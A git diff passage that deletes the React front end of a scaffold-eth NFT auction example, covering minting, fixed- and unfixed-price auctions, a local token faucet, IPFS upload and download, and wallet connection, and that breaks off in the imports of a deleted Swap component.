-  // Use your injected provider from 🦊 Metamask or if you don't have it then instantly generate a 🔥 burner wallet.
-  const userProvider = useUserProvider(injectedProvider, localProvider);
-  const address = useUserAddress(userProvider);
-  if(!allUserCollections[address]){
-    allUserCollections[address] = []
-  }
-  
-  if(!usersBid[address]){
-    usersBid[address] = {}
-  }
-
-  if(!WalletCheck.approvePermission[address]){
-    WalletCheck.approvePermission[address] = false
-  }else{
-    permissionApproved = WalletCheck.approvePermission[address]
-  }
-
-  // You can warn the user if you would like them to be on a specific network
-  let localChainId = localProvider && localProvider._network && localProvider._network.chainId
-  let selectedChainId = userProvider && userProvider._network && userProvider._network.chainId
-  console.log("user provider network", userProvider._network)
-
-  // For more hooks, check out 🔗eth-hooks at: https://www.npmjs.com/package/eth-hooks
-
-  // The transactor wraps transacti ons and provides notificiations
-  const tx = Transactor(userProvider, gasPrice)
-
-  // Faucet Tx can be used to send funds from the faucet
-  const faucetTx = Transactor(localProvider, gasPrice)
-
-  // Load in your local 📝 contract and read a value from it:
-  const readContracts = useContractLoader(localProvider)
-
-  // If you want to make 🔐 write transactions to your contracts, use the userProvider:
-  const writeContracts = useContractLoader(userProvider)
-
-  // 🏗 scaffold-eth is full of handy hooks like this one to get your balance:
-  const yourLocalBalance = useBalance(writeContracts, address, localProvider);
-
-  // EXTERNAL CONTRACT EXAMPLE:
-  //
-  // If you want to bring in the mainnet DAI contract it would look like:
-  const mainnetDAIContract = useExternalContractLoader(mainnetProvider, DAI_ADDRESS, DAI_ABI)
-
-  if (DEBUG) console.log("🌍 DAI contract on mainnet:", mainnetDAIContract)
-  //
-  // Then read your DAI balance like:
-  const myMainnetDAIBalance = useContractReader({ DAI: mainnetDAIContract }, "DAI", "balanceOf", ["0x34aA3F359A9D614239015126635CE7732c18fDF3"])
-  if (DEBUG) console.log("🥇 myMainnetDAIBalance:", myMainnetDAIBalance)
-
-
-  // keep track of a variable from the contract in the local React state:
-  const balance = useContractReader(readContracts, "MYERC721", "balanceOf", [address])
-  if (DEBUG) console.log("🤗 balance:", balance)
-
-  //📟 Listen for broadcast events
-  const transferEvents = useEventListener(readContracts, "MYERC721", "Transfer", localProvider, 1);
-  if (DEBUG) console.log("📟 Transfer events:", transferEvents)
-
-
-  const [modalVisible, setModalVisible] = useState(false);
-  const [auctionDetails, setAuctionDetails] = useState({ price: "", duration: "" });
-  const [auctionToken, setAuctionToken] = useState("");
-
-  //
-  // 🧠 This effect will update yourCollectibles by polling when your balance changes
-  //
-  const [yourCollectibles, setYourCollectibles] = useState(assetsInitAuctionStat)
-
-  let [ userCollections, setUserCollections ] = useState([])
-  if(allUserCollections[address]){
-    userCollections = [...allUserCollections[address]]
-  }
-
-  
-
-  // useEffect(()=>{
-  //   const updateYourCollectibles = async () => {
-  //     let collectibleUpdate = []
-  //     for(let tokenIndex=0;tokenIndex<balance;tokenIndex++){
-  //       try{
-  //         console.log("GEtting token index",tokenIndex)
-  //         const tokenId = await readContracts.YourCollectible.tokenOfOwnerByIndex(address, tokenIndex)
-  //         console.log("tokenId",tokenId)
-  //         const tokenURI = await readContracts.YourCollectible.tokenURI(tokenId)
-  //         console.log("tokenURI",tokenURI)
-  //
-  //         const ipfsHash =  tokenURI.replace("https://ipfs.io/ipfs/","")
-  //         console.log("ipfsHash",ipfsHash)
-  //
-  //         const jsonManifestBuffer = await getFromIPFS(ipfsHash)
-  //
-  //         try{
-  //           const jsonManifest = JSON.parse(jsonManifestBuffer.toString())
-  //           // console.log("jsonManifest",jsonManifest)
-  //           collectibleUpdate.push({ id:tokenId, uri:tokenURI, owner: address, ...jsonManifest })
-  //         }catch(e){console.log(e)}
-  //
-  //       }catch(e){console.log(e)}
-  //     }
-  //     setYourCollectibles(collectibleUpdate)
-  //   }
-  //   updateYourCollectibles()
-  // },[ address, yourBalance ])
-
-  /*
-  const addressFromENS = useResolveName(mainnetProvider, "austingriffith.eth");
-  console.log("🏷 Resolved austingriffith.eth as:",addressFromENS)
-  */
-
-  //
-  // 🧫 DEBUG 👨🏻‍🔬
-  //
-  useEffect(() => {
-    if (DEBUG && mainnetProvider && address && selectedChainId && yourLocalBalance && readContracts && writeContracts && mainnetDAIContract) {
-      console.log("_____________________________________ 🏗 scaffold-eth _____________________________________")
-      console.log("🌎 mainnetProvider", mainnetProvider)
-      console.log("🏠 localChainId", localChainId)
-      console.log("👩‍💼 selected address:", address)
-      console.log("🕵🏻‍♂️ selectedChainId:", selectedChainId)
-      console.log("💵 yourLocalBalance", yourLocalBalance ? yourLocalBalance : "...")
-      console.log("📝 readContracts", readContracts)
-      console.log("🌍 DAI contract on mainnet:", mainnetDAIContract)
-      console.log("🔐 writeContracts", writeContracts)
-    }
-  }, [mainnetProvider, address, selectedChainId, yourLocalBalance, readContracts, writeContracts, mainnetDAIContract])
-
-  
-  let networkDisplay = ""
-  if (localChainId && selectedChainId && localChainId != selectedChainId) {
-    networkDisplay = (
-      <div style={{ zIndex: 2, position: 'absolute', right: 0, top: 60, padding: 16 }}>
-        <Alert
-          message={"⚠️ Wrong Network"}
-          description={(
-            <div>
-              You have <b>{NETWORK(selectedChainId).name}</b> selected and you need to be on <b>{NETWORK(localChainId).name}</b>.
-            </div>
-          )}
-          type="error"
-          closable={false}
-        />
-      </div>
-    )
-  } else {
-    networkDisplay = (
-      <div style={{ zIndex: -1, position: 'absolute', right: 154, top: 28, padding: 16, color: targetNetwork.color }}>
-        {targetNetwork.name}
-      </div>
-    )
-  }
-
-
-
-  const loadWeb3Modal = useCallback(async () => {
-    console.log('loadWeb3Modal', web3Modal, web3Modal.cachedProvider)
-    const provider = await web3Modal.connect();
-    console.log(provider)
-    setInjectedProvider(new Web3Provider(provider));
-  }, [setInjectedProvider]);
-
-  useEffect(() => {
-    if (web3Modal.cachedProvider) {
-      loadWeb3Modal();
-    }
-  }, [loadWeb3Modal]);
-
-  const [route, setRoute] = useState();
-  useEffect(() => {
-    setRoute(window.location.pathname)
-  }, [setRoute]);
-
-  let faucetHint = ""
-  const faucetAvailable = localProvider && localProvider.connection && targetNetwork.name == "localhost"
-
-
-  const grabFounds = async () => {
-    let currentSupply = parseInt(await readContracts.SimpleToken.balanceOf(address))
-    console.log("Total balance of erc20 with current address is", currentSupply)
-    if (currentSupply < 1000) {
-      await tx(readContracts.SimpleToken.mint(address, 1000))
-    }
-    currentSupply = await readContracts.SimpleToken.balanceOf(address)
-    console.log("Total balance of erc20 with current address is", currentSupply)
-  }
-
-  console.log("For grabFounds")
-  console.log("Your local Balance")
-  console.log(yourLocalBalance)
-    faucetHint = (
-      <div style={{padding:16, position: "fixed", textAlign: "right", right: 0, top: 40 }}>
-        <Button type={"primary"} onClick={()=>{
-          grabFounds()
-        }}>
-          💰 Grab funds from the faucet when balance less than 1000 ⛽️
-        </Button>
-      </div>
-    )
-
-
-
-  const [ yourJSON, setYourJSON ] = useState( STARTING_JSON );
-  const [ sending, setSending ] = useState()
-  const [ ipfsHash, setIpfsHash ] = useState()
-  const [ ipfsDownHash, setIpfsDownHash ] = useState()
-
-  const [ downloading, setDownloading ] = useState()
-  const [ ipfsContent, setIpfsContent ] = useState()
-  let [yourBid, setYourBid] = useState(usersBid[address]);
-  if(usersBid[address]){
-    yourBid = usersBid[address]
-  }
-
-
-  const [ transferToAddresses, setTransferToAddresses ] = useState({})
-
-  const [loadedAssets, setLoadedAssets] = useState()
-
-  const [url2TokenID, setUrl2TokenID] = useState({})
-
-  const [auctionType, setAuctionType] = useState(1);
-
-  let [Hover, setHover] = useState(false);
-  
-  const updateYourCollectibles = async () => {
-    let assetUpdate = []
-    for(let a in assets){
-      try {
-        const forSale = yourCollectibles[a].forSale
-        let owner
-        let auctionInfo = {"seller": "",
-          "price":0,
-          "duration":0,
-          "tokenAddress":0,
-          "maxBid":0,
-          "maxBidUser":0,
-          "isActive":false,
-          "bidAmounts":[],
-          "users": []
-        }
-        if(!forSale){
-          const tokenId = url2TokenID[a]
-          owner = await readContracts.MYERC721.ownerOf(tokenId)
-          const nftAddress = readContracts.MYERC721.address;
-          console.log("yourCollectibles[a]")
-          console.log(yourCollectibles[a])
-          if (yourCollectibles[a].forAuction) {
-            if (yourCollectibles[a].assetAuctionType == 1) {
-              auctionInfo = await readContracts.AuctionUnfixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
-            } else {
-              auctionInfo = await readContracts.AuctionFixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
-            }
-          }
-          console.log("========== forSale is false")
-          console.log(auctionInfo)
-        }
-        assetUpdate.push({id:a,...assets[a],forSale:forSale,owner:owner, auctionInfo})
-      }catch(e){console.log(e)}
-    }
-    setLoadedAssets(assetUpdate)
-  }
-
-  useEffect(()=>{
-    if(readContracts && yourCollectibles) updateYourCollectibles()
-  }, [ assets, readContracts, transferEvents, yourCollectibles]);
-
-  const startAuction = (tokenUri) => {
-    return async () => {
-      if (!injectedProvider) {
-        await loadWeb3Modal();
-      }
-      if (!WalletCheck.approvePermission[address]) {
-        await connectWallet();
-      }
-      setAuctionToken(tokenUri);
-      setModalVisible(true);
-      setAuctionType(1);
-    }
-  }
-
-  const placeBid = async (tokenUri, bidPrice, BidType) => {
-    console.log("In placeBid , the tokenUri is ", tokenUri)
-    const tokenId = url2TokenID[tokenUri]
-    const nftAddress = readContracts.MYERC721.address;
-    
-    try{
-      if( BidType == 1){
-        console.log("Going to bid when auctionType is 1")
-        await tx(writeContracts.AuctionUnfixedPrice.bid(nftAddress,tokenId,bidPrice))
-      }else{
-        console.log("Going to bid when auctionType is 2")
-        await tx(writeContracts.AuctionFixedPrice.purchaseNFTToken(nftAddress,tokenId))
-        assetsInitAuctionStat[auctionToken].forAuction = false
-        delete yourBid[tokenUri]
-        userCollections.push(tokenUri)
-        allUserCollections[address] = userCollections
-        setUserCollections(userCollections)
-        setYourCollectibles(assetsInitAuctionStat)
-      } 
-      usersBid[address] = yourBid
-      updateYourCollectibles();
-    }catch(e){
-      console.log("Failed to placeBid")
-      console.log(e)
-    }
-
-  }
-
-  const completeAuction = (tokenUri) => {
-    return async () => {
-      const tokenId = url2TokenID[tokenUri]
-      const nftAddress = readContracts.MYERC721.address
-      const auctionInfo = await readContracts.AuctionUnfixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
-      const maxBidUser = auctionInfo.maxBidUser
-      console.log("When complete Auction, maxBid User is ",maxBidUser)
-      try{
-        await tx(writeContracts.AuctionUnfixedPrice.executeSale(nftAddress, tokenId));
-        if(maxBidUser == address){
-          userCollections.push(tokenUri)
-          allUserCollections[address] = userCollections
-        }else{
-          allUserCollections[maxBidUser].push(tokenUri)
-        }
-        assetsInitAuctionStat[tokenUri].forAuction = false
-        setYourCollectibles(assetsInitAuctionStat)
-        updateYourCollectibles();
-      }catch(e){
-        console.log("Failed to complete Auction")
-        console.log(e)
-      }
-    }
-  }
-
-  const cancelAuction = (tokenUri,auctionType) => {
-    return async () => {
-      const tokenId = url2TokenID[tokenUri]
-      const nftAddress = readContracts.MYERC721.address
-      if(auctionType == 1){
-        await tx(writeContracts.AuctionUnfixedPrice.cancelAution(nftAddress, tokenId));
-      }else{
-        await tx(writeContracts.AuctionFixedPrice.cancelAution(nftAddress, tokenId));
-      }
-
-      assetsInitAuctionStat[tokenUri].forAuction = false
-      userCollections.push(tokenUri)
-      allUserCollections[address] = userCollections
-      setUserCollections(userCollections)
-      setYourCollectibles(assetsInitAuctionStat)
-      updateYourCollectibles();
-    }
-  }
-
-  const mintItem = async (tokenUri) => {
-    if (!injectedProvider) {
-      await loadWeb3Modal()
-    }
-    if (!WalletCheck.approvePermission[address]) {
-        await connectWallet();
-    }
-    await readContracts.MYERC721.mintWithTokenURI(address, tokenUri)
-    const tokenId = (await readContracts.MYERC721.totalSupply()) - 1
-
-    url2TokenID[tokenUri] = tokenId
-    assetsInitAuctionStat[tokenUri].forSale = false
-
-    userCollections.push(tokenUri)
-    allUserCollections[address] = userCollections
-    setUserCollections(userCollections)
-    setYourCollectibles(assetsInitAuctionStat)
-    updateYourCollectibles();
-  }
-
-  let galleryList = []
-  for(let a in (loadedAssets ? loadedAssets.slice(0, 6) : [])){
-    // console.log("loadedAssets",a,loadedAssets[a])
-
-    let cardActions = []
-    let auctionDetails = [];
-    if(loadedAssets[a].forSale){
-      cardActions.push(
-        <div>
-          <Button onClick={()=>{
-            mintItem(loadedAssets[a].id)
-          }}>
-            Mint
-          </Button>
-        </div>
-      )
-      auctionDetails.push(null)
-    }else{
-      const { auctionInfo } = loadedAssets[a];
-      console.log("auctionInfo duration is ",auctionInfo.duration)
-      const deadline = parseInt(auctionInfo.duration * 1000)
-      console.log("Deadline is ", deadline)
-      console.log("current Time is ",new Date().getTime())
-      const isEnded = (deadline * 1000) <= new Date().getTime();
-
-      console.log("======auctionInfo")
-      console.log(auctionInfo)
-      console.log("In auction, the value of assetsInitAuctionStat[a] is")
-      console.log(assetsInitAuctionStat[a])
-      console.log(a)
-      const auctionTypeInner = loadedAssets[a].id
-      cardActions.push(
-        <div>
-          <div>
-          owned by: <Address
-            address={loadedAssets[a].owner}
-            ensProvider={mainnetProvider}
-            blockExplorer={blockExplorer}
-            minimized={true}
-          />
-          </div>
-          {!loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].owner && <><Button style={{ marginBottom: "10px" }} onClick={startAuction(loadedAssets[a].id)} disabled={address !== loadedAssets[a].owner}>Start auction</Button><br/></>}
-          {loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].auctionInfo.seller && assetsInitAuctionStat[auctionTypeInner].assetAuctionType == 1 && <><Button style={{ marginBottom: "10px" }} onClick={completeAuction(loadedAssets[a].id)}>Complete auction</Button><br/></>}
-          {loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].auctionInfo.seller && <><Button style={{ marginBottom: "10px" }} onClick={cancelAuction(loadedAssets[a].id,assetsInitAuctionStat[auctionTypeInner].assetAuctionType)}>Cancel auction</Button><br/></>}
-        </div>
-      )
-
-      console.log("Loaded asset is : ", loadedAssets[a])
-      console.log("Your Bid is ", yourBid[loadedAssets[a].id])
-      console.log("Whether is ended: ",isEnded)
-      auctionDetails.push(auctionInfo.isActive ? (
-          <div style={{ marginTop: "20px" }}>
-          <p style={{ fontWeight: "bold" }}>{ assetsInitAuctionStat[auctionTypeInner].assetAuctionType == 1 ? "Unfixed Price " : "Fixed Price " }Auction is in progress</p>
-            <p style={{ margin: 0, marginBottom: "2px"}}>{ assetsInitAuctionStat[auctionTypeInner].assetAuctionType == 1 ? "Minimal " : "" }  price is {(auctionInfo.price).toString()} </p>
-            <p style={{ marginTop: 0 }}>{!isEnded ? `Auction ends at ${format(new Date(deadline), "MMMM dd, hh:mm:ss")}` : 'Auction has already ended'}</p>
-            { assetsInitAuctionStat[auctionTypeInner].assetAuctionType == 1 && <div>
-              {auctionInfo.maxBidUser === constants.AddressZero  ? "Highest bid was not made yet" : <div>Highest bid by: <Address
-                  address={auctionInfo.maxBidUser}
-                  ensProvider={mainnetProvider}
-                  blockExplorer={blockExplorer}
-                  minimized={true}
-              /><p> is {(auctionInfo.maxBid).toString()}</p></div>}
-            </div>}
-            
-            { assetsInitAuctionStat[auctionTypeInner].assetAuctionType == 2 && <div>
-              <div>Fixed Price for this product is : <p>{(auctionInfo.price).toString()}</p></div>
-            </div> }
-
-
-            <div>
-            <div style={{display: "flex", alignItems: "center", marginTop: "20px"}}>
-              <p style={{margin:0, marginRight: "15px"}}>Your bid in ERC20: </p>
-              <InputNumber placeholder="0.1" value={yourBid[loadedAssets[a].id]} onChange={newBid => { usersBid[address] = {...yourBid, [loadedAssets[a].id]: newBid};setYourBid({...yourBid, [loadedAssets[a].id]: newBid})}} style={{ flexGrow: 1 }}/>
-            </div>
-              <Button style={{marginTop: "7px"}} onClick={() => placeBid(loadedAssets[a].id, yourBid[loadedAssets[a].id],assetsInitAuctionStat[auctionTypeInner].assetAuctionType)} disabled={!yourBid[loadedAssets[a].id] || isEnded}>Place a bid</Button>
-            </div>
-
-          </div>
-      ) : null);
-    }
-
-    galleryList.push(
-        <>
-      <Card style={{width:300}} key={loadedAssets[a].name}
-        actions={cardActions}
-        title={(
-          <div>
-            {loadedAssets[a].name} <a style={{cursor:"pointer",opacity:0.33}} href={loadedAssets[a].external_url} target="_blank"><LinkOutlined /></a>
-          </div>
-        )}
-      >
-        <img style={{maxWidth:130}} src={loadedAssets[a].image}/>
-        <div style={{opacity:0.77}}>  
-          {loadedAssets[a].description}
-        </div>
-        {auctionDetails}
-      </Card>
-          </>
-    )
-  }
-
-
-  const handleOk = async () => {
-    setModalVisible(false);
-    const { price, duration } = auctionDetails;
-    const tokenId = url2TokenID[auctionToken];
-    const nftAddress = readContracts.MYERC721.address
-    const erc20Address = readContracts.SimpleToken.address
-    console.log("Token URL is ", auctionToken)
-    console.log("duration is ",duration)
-
-    let writeAuction
-
-    if (auctionType == 1) {
-      writeAuction = writeContracts.AuctionUnfixedPrice
-      assetsInitAuctionStat[auctionToken].assetAuctionType = 1
-    } else {
-      writeAuction = writeContracts.AuctionFixedPrice
-      assetsInitAuctionStat[auctionToken].assetAuctionType = 2
-    }
-
-    console.log("==========after 721 approve")
-
-    const erc20Price = parseInt(price.toString());
-    console.log("ERC20 Price for Auction is",erc20Price)
-    const blockDuration = Math.floor(new Date().getTime() / 1000) + duration;
-    console.log("blockDuration is",blockDuration)
-
-    await tx(writeAuction.createTokenAuction(nftAddress, tokenId, erc20Address, erc20Price, blockDuration));
-
-    assetsInitAuctionStat[auctionToken].forAuction = true
-    console.log("auctionToken in handleOk is ",auctionToken)
-    console.log("userCollections before delete", userCollections)
-    const index = userCollections.indexOf(auctionToken)
-    userCollections.splice(index,1)
-    console.log("userCollections after delete",userCollections)
-    allUserCollections[address] = userCollections
-    setUserCollections(userCollections)
-    setYourCollectibles(assetsInitAuctionStat)
-    updateYourCollectibles();
-  }
-
-  const handleCancel = () => {
-    setModalVisible(false);
-  }
-
-  const handleAuctionType = e => {
-    setAuctionType(e.target.value);
-  }
-
-
-  const logoutOfWeb3Modal = async () => {
-    await web3Modal.clearCachedProvider();
-  };
-  
-   window.ethereum && window.ethereum.on('chainChanged', chainId => {
-
-  })
-
-  window.ethereum && window.ethereum.on('accountsChanged',  accounts => {
-    loadWeb3Modal()
-  })
-
-
-  const dismissNetworkError = async () => {
-    networkError = undefined
-    loadWeb3Modal()
-  }
-
-  const connectWallet = async () => {
-    const ethBalance = await localProvider.getBalance(address);
-    if (ethBalance <= 0.3) {
-      const signer = localProvider.getSigner();
-      let result = await signer.sendTransaction({
-        to: address,
-        value: parseEther("0.3"),
-        gasPrice: parseUnits("4.1", "gwei"),
-        gasLimit: hexlify(120000)
-      });
-      console.log("Trans ETH result: ",result)
-    }
-
-    WalletCheck.connecting = true
-    await tx(writeContracts.MYERC721.setApprovalForAll(writeContracts.AuctionFixedPrice.address, true))
-    await tx(writeContracts.MYERC721.setApprovalForAll(writeContracts.AuctionUnfixedPrice.address, true))
-    await tx(writeContracts.SimpleToken.approve(writeContracts.AuctionFixedPrice.address,10000))
-    await tx(writeContracts.SimpleToken.approve(writeContracts.AuctionUnfixedPrice.address,10000))
-
-    WalletCheck.approvePermission[address] = true
-    WalletCheck.connecting = false
-  }
-
-
-
-  const toggleHover = async () => {
-    console.log('toggleHover')
-    setHover(!Hover);
-  }
-
-  return ( 
-    <div className="App">
-      {!WalletCheck.walletExist && <NoWalletDetected />}
-      {/*{!WalletCheck.approvePermission[address]  && <ConnectWallet
-      connectWallet={() => connectWallet()}
-      networkError={networkError}
-      dismiss={() => dismissNetworkError()} />}*/}
-      {WalletCheck.connecting && <Loading />}
-
-      {WalletCheck.walletExist && <div>
-        <Modal title="Start auction" visible={modalVisible} onOk={handleOk} onCancel={handleCancel} okButtonProps={{ disabled: !auctionDetails.price || !auctionDetails.duration }} okText="Start">
-          <div style={{ display: "flex", alignItems: "center" }}>
-            <p style={{ margin: 0, marginRight: "15px" }}>ERC20 Price (minimal bid): </p>
-            <InputNumber placeholder="0.1" value={auctionDetails.price} onChange={newPrice => setAuctionDetails({ ...auctionDetails, price: newPrice })} style={{ flexGrow: 1 }} />
-          </div>
-          <br />
-          <div style={{ display: "flex", alignItems: "center" }}>
-            <p style={{ margin: 0, marginRight: "15px" }}>Duration in seconds: </p>
-            <InputNumber placeholder="3600" value={auctionDetails.duration} onChange={newDuration => setAuctionDetails({ ...auctionDetails, duration: newDuration })} style={{ flexGrow: 1 }} />
-          </div>
-          <br />
-          <div style={{ display: "flex", alignItems: "center" }}>
-            <Radio.Group onChange={handleAuctionType} value={auctionType}>
-              <Radio value={1}>Unfixed Price Auction</Radio>
-              <Radio value={2}>Fixed Price Auction</Radio>
-            </Radio.Group>
-          </div>
-        </Modal>
-
-        {/* ✏️ Edit the header and change the title to your project name */}
-        <Header />
-        {networkDisplay}
-
-        <BrowserRouter>
-
-          <Menu style={{ textAlign: "center", alignItems: "center" }} selectedKeys={route} mode="horizontal">
-            <Menu.Item key="/">
-              <Link onClick={() => { setRoute("/") }} to="/">Gallery</Link>
-            </Menu.Item>
-            <Menu.Item key="/yourcollectibles">
-              <Link onClick={() => { setRoute("/yourcollectibles") }} to="/yourcollectibles">YourCollectibles</Link>
-            </Menu.Item>
-            <Menu.Item key="/transfers">
-              <Link onClick={() => { setRoute("/transfers") }} to="/transfers">Transfers</Link>
-            </Menu.Item>
-            <Menu.Item key="/ipfsup">
-              <Link onClick={() => { setRoute("/ipfsup") }} to="/ipfsup">IPFS Upload</Link>
-            </Menu.Item>
-            <Menu.Item key="/ipfsdown">
-              <Link onClick={() => { setRoute("/ipfsdown") }} to="/ipfsdown">IPFS Download</Link>
-            </Menu.Item>
-            <Menu.Item key="/debugcontracts">
-              <Link onClick={() => { setRoute("/debugcontracts") }} to="/debugcontracts">Debug Contracts</Link>
-            </Menu.Item>
-          </Menu>
-
-          <Switch>
-            <Route exact path="/">
-              {/*
-                🎛 this scaffolding is full of commonly used components
-                this <Contract/> component will automatically parse your ABI
-                and give you a form to interact with it locally
-            */}
-
-              <div style={{ maxWidth: 1024, margin: "auto", marginTop: 32, paddingBottom: 56 }}>
-                <Button disabled={galleryList.length === 0} onClick={updateYourCollectibles} style={{ marginBottom: "25px" }}>Update collectibles</Button>
-
-                <StackGrid
-                  columnWidth={300}
-                  gutterWidth={16}
-                  gutterHeight={16}
-                >
-                  {galleryList}
-                </StackGrid>
-              </div>
-
-            </Route>
-
-            <Route path="/yourcollectibles">
-              <div style={{ width: 640, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
-                <List
-                  bordered
-                  dataSource={userCollections}
-                  renderItem={(item) => {
-                    return (
-                      <List.Item key={assets[item].external_url + "_" + address}>
-                        <Card title={(
-                          <div>
-                            {assets[item].name}
-                          </div>
-                        )}>
-                          <div><img src={assets[item].image} style={{ maxWidth: 150 }} /></div>
-                          <div>{assets[item].description}</div>
-                        </Card>
-                      </List.Item>
-                    )
-                  }}
-                />
-              </div>
-            </Route>
-
-            <Route path="/transfers">
-              <div style={{ width: 600, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
-                <List
-                  bordered
-                  dataSource={transferEvents}
-                  renderItem={(item) => {
-                    return (
-                      <List.Item key={item[0] + "_" + item[1] + "_" + item.blockNumber + "_" + item[2].toNumber()}>
-                        <span style={{ fontSize: 16, marginRight: 8 }}>#{item[2].toNumber()}</span>
-                        <Address
-                          address={item[0]}
-                          ensProvider={mainnetProvider}
-                          fontSize={16}
-                        />
-                        <Address
-                          address={item[1]}
-                          ensProvider={mainnetProvider}
-                          fontSize={16}
-                        />
-                      </List.Item>
-                    )
-                  }}
-                />
-              </div>
-            </Route>
-
-            <Route path="/ipfsup">
-              <div style={{ paddingTop: 32, width: 740, margin: "auto", textAlign: "left" }}>
-                <ReactJson
-                  style={{ padding: 8 }}
-                  src={yourJSON}
-                  theme={"pop"}
-                  enableClipboard={false}
-                  onEdit={(edit, a) => {
-                    setYourJSON(edit.updated_src)
-                  }}
-                  onAdd={(add, a) => {
-                    setYourJSON(add.updated_src)
-                  }}
-                  onDelete={(del, a) => {
-                    setYourJSON(del.updated_src)
-                  }}
-                />
-              </div>
-
-              <Button style={{ margin: 8 }} loading={sending} size="large" shape="round" type="primary" onClick={async () => {
-                console.log("UPLOADING...", yourJSON)
-                setSending(true)
-                setIpfsHash()
-                const result = await ipfs.add(JSON.stringify(yourJSON))//addToIPFS(JSON.stringify(yourJSON))
-                if (result && result.path) {
-                  setIpfsHash(result.path)
-                }
-                setSending(false)
-                console.log("RESULT:", result)
-              }}>Upload to IPFS</Button>
-
-              <div style={{ padding: 16, paddingBottom: 150 }}>
-                {ipfsHash}
-              </div>
-
-            </Route>
-            <Route path="/ipfsdown">
-              <div style={{ paddingTop: 32, width: 740, margin: "auto" }}>
-                <Input
-                  value={ipfsDownHash}
-                  placeHolder={"IPFS hash (like QmadqNw8zkdrrwdtPFK1pLi8PPxmkQ4pDJXY8ozHtz6tZq)"}
-                  onChange={(e) => {
-                    setIpfsDownHash(e.target.value)
-                  }}
-                />
-              </div>
-              <Button style={{ margin: 8 }} loading={sending} size="large" shape="round" type="primary" onClick={async () => {
-                console.log("DOWNLOADING...", ipfsDownHash)
-                setDownloading(true)
-                setIpfsContent()
-                const result = await getFromIPFS(ipfsDownHash)//addToIPFS(JSON.stringify(yourJSON))
-                if (result && result.toString) {
-                  setIpfsContent(result.toString())
-                }
-                setDownloading(false)
-              }}>Download from IPFS</Button>
-
-              <pre style={{ padding: 16, width: 500, margin: "auto", paddingBottom: 150 }}>
-                {ipfsContent}
-              </pre>
-            </Route>
-            <Route path="/debugcontracts">
-              <Contract
-                name="AuctionFixedPrice"
-                signer={userProvider.getSigner()}
-                provider={localProvider}
-                address={address}
-                blockExplorer={blockExplorer}
-              />
-              <Contract
-                name="AuctionUnfixedPrice"
-                signer={userProvider.getSigner()}
-                provider={localProvider}
-                address={address}
-                blockExplorer={blockExplorer}
-              />
-            </Route>
-          </Switch>
-        </BrowserRouter>
-
-        <ThemeSwitch />
-
-
-        {/* 👨‍💼 Your account is in the top right with a wallet at connect options */}
-        <div style={{ position: "fixed", textAlign: "right", right: 0, top: 0, padding: 10 }} onMouseEnter={toggleHover} onMouseLeave={toggleHover}>
-          <Account
-            address={address}
-            localProvider={localProvider}
-            userProvider={userProvider}
-            mainnetProvider={mainnetProvider}
-            price={yourLocalBalance}
-            web3Modal={web3Modal}
-            loadWeb3Modal={loadWeb3Modal}
-            logoutOfWeb3Modal={logoutOfWeb3Modal}
-            blockExplorer={blockExplorer}
-          />
-          {Hover && faucetHint}
-        </div>
-
-        {/* 🗺 Extra UI like gas price, eth price, faucet, and support: */}
-        <div style={{ position: "fixed", textAlign: "left", left: 0, bottom: 20, padding: 10 }}>
-          <Row align="middle" gutter={[4, 4]}>
-            <Col span={8}>
-              <Ramp price={price} address={address} networks={NETWORKS} />
-            </Col>
-
-            <Col span={8} style={{ textAlign: "center", opacity: 0.8 }}>
-              <GasGauge gasPrice={gasPrice} />
-            </Col>
-            <Col span={8} style={{ textAlign: "center", opacity: 1 }}>
-              <Button
-                onClick={() => {
-                  window.open("https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA");
-                }}
-                size="large"
-                shape="round"
-              >
-                <span style={{ marginRight: 8 }} role="img" aria-label="support">
-                  💬
-               </span>
-               Support
-             </Button>
-            </Col>
-          </Row>
-
-          <Row align="middle" gutter={[4, 4]}>
-            <Col span={24}>
-              {
-                /*  if the local provider has a signer, let's show the faucet:  */
-                faucetAvailable ? (
-                  <Faucet localProvider={localProvider} price={price} ensProvider={mainnetProvider} />
-                ) : (
-                    ""
-                  )
-              }
-            </Col>
-          </Row>
-        </div>
-      </div>}
-    </div>
-  );
-
-  
-}
-
-
-/*
-  Web3 modal helps us "connect" external wallets:
-*/
-const web3Modal = new Web3Modal({
-  // network: "mainnet", // optional
-  cacheProvider: true, // optional
-  providerOptions: {
-    walletconnect: {
-      package: WalletConnectProvider, // required
-      options: {
-        infuraId: INFURA_ID,
-      },
-    },
-  },
-});
-
-
-
- 
-
-export default App;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Contract/utils.js b/Example16-hardhat-auction-exchange/react-app/src/components/Contract/utils.js
deleted file mode 100644
index 7e4bda9dd..000000000
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Contract/utils.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import React from "react";
-import { formatUnits } from "@ethersproject/units";
-import { isAddress } from "@ethersproject/address";
-import { Address } from "../../components";
-
-const tryToDisplay = thing => {
-  if (thing && thing.toNumber) {
-    try {
-      return thing.toNumber();
-    } catch (e) {
-      return "Ξ"+formatUnits(thing, "ether");
-    }
-  }
-  if(thing && thing.indexOf && thing.indexOf("0x")==0 && thing.length == 42){
-    return (
-      <Address
-        address={thing}
-        fontSize={22}
-      />
-    )
-  }
-  return JSON.stringify(thing);
-};
-
-export default tryToDisplay;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/components/Swap.jsx b/Example16-hardhat-auction-exchange/react-app/src/components/Swap.jsx
deleted file mode 100644
index 182354809..000000000
--- a/Example16-hardhat-auction-exchange/react-app/src/components/Swap.jsx
+++ /dev/null
@@ -1,507 +0,0 @@
-import React, { useState, useEffect } from "react";
-import { Space, Row, InputNumber, Card, notification, Select, Descriptions, Typography, Button, Divider, Tooltip, Drawer, Modal } from "antd";
-import { SettingOutlined, RetweetOutlined } from '@ant-design/icons';
-import { ChainId, Token, WETH, Fetcher, Trade, TokenAmount, Percent } from '@uniswap/sdk'
-import { parseUnits, formatUnits } from "@ethersproject/units";
-import { ethers } from "ethers";
-import { useBlockNumber, usePoller } from "eth-hooks";
